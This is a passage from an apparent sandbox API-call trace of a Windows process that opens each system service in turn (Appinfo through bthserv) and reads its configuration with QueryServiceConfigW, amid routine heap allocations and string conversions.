(HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9840) returned 1 [0249.075] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f368) returned 1 [0249.075] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Appinfo", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.075] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.075] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.076] GetLastError () returned 0x7a [0249.076] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f368 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f3f0 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f368) returned 1 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f3f0) returned 1 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f3f0 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f368 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f3f0) returned 1 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f368) returned 1 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f368 [0249.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9840 [0249.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97f8 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9840) returned 1 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd97f8) returned 1 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f368) returned 1 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd97f8 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f368 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f3f0 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f478 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f500 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f588 [0249.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9840 [0249.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1dd9840, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0249.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9888 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9840) returned 1 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9888) returned 1 [0249.077] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f588) returned 1 [0249.077] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AppMgmt", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.078] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.078] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.078] GetLastError () returned 0x7a [0249.079] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x106, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f588 [0249.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f610 [0249.079] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f588) returned 1 [0249.079] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f610) returned 1 [0249.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f610 [0249.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f588 [0249.079] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f610) returned 1 [0249.079] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f588) returned 1 [0249.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f588 [0249.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9888 [0249.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9888, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9840 [0249.079] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9888) returned 1 [0249.079] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9840) returned 1 [0249.079] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f588) returned 1 [0249.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9840 [0249.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f588 [0249.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f610 [0249.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f698 [0249.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f720 [0249.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f7a8 [0249.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9888 [0249.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1dd9888, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0249.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd98d0 [0249.080] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9888) returned 1 [0249.080] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd98d0) returned 1 [0249.080] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f7a8) returned 1 [0249.080] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="aspnet_state", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.080] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.080] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.081] GetLastError () returned 0x7a [0249.081] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1dd2ef0 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f588) returned 1 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f588 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f7a8 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f588) returned 1 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f7a8) returned 1 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f7a8 [0249.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd98d0 [0249.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x1dd98d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state.exe", lpUsedDefaultChar=0x0) returned 16 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9888 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd98d0) returned 1 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9888) returned 1 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f7a8) returned 1 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9888 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f7a8 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f588 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f830 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f8b8 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f940 [0249.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd98d0 [0249.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1dd98d0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0249.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9918 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd98d0) returned 1 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9918) returned 1 [0249.082] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f940) returned 1 [0249.082] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AudioEndpointBuilder", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.083] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.083] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.084] GetLastError () returned 0x7a [0249.084] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f940 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f9c8 [0249.120] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f940) returned 1 [0249.120] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f9c8) returned 1 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f9c8 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f940 [0249.120] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f9c8) returned 1 [0249.120] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f940) returned 1 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f940 [0249.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd9918 [0249.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd98d0 [0249.120] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd9918) returned 1 [0249.120] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd98d0) returned 1 [0249.120] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58f940) returned 1 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1dd98d0 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f940 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58f9c8 [0249.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58fa50 [0249.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1dd9918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0249.120] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AudioSrv", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.121] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.121] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.122] GetLastError () returned 0x7a [0249.122] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x190, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9960, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1dd9960, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0249.122] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AxInstSV", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.123] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.123] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.124] GetLastError () returned 0x7a [0249.124] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x128, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd99a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1dd99a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0249.124] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="BDESVC", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.125] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.125] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.126] GetLastError () returned 0x7a [0249.126] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x11e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd99f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1dd99f0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0249.126] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="BFE", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.127] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.127] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.128] GetLastError () returned 0x7a [0249.128] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9a38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1dd9a38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0249.128] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="BITS", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.129] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.129] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.130] GetLastError () returned 0x7a [0249.130] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x14a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9a80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1dd9a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0249.130] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Browser", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.131] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.131] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.132] GetLastError () returned 0x7a [0249.132] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9ac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1dd9ac8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0249.132] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="bthserv", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.133] 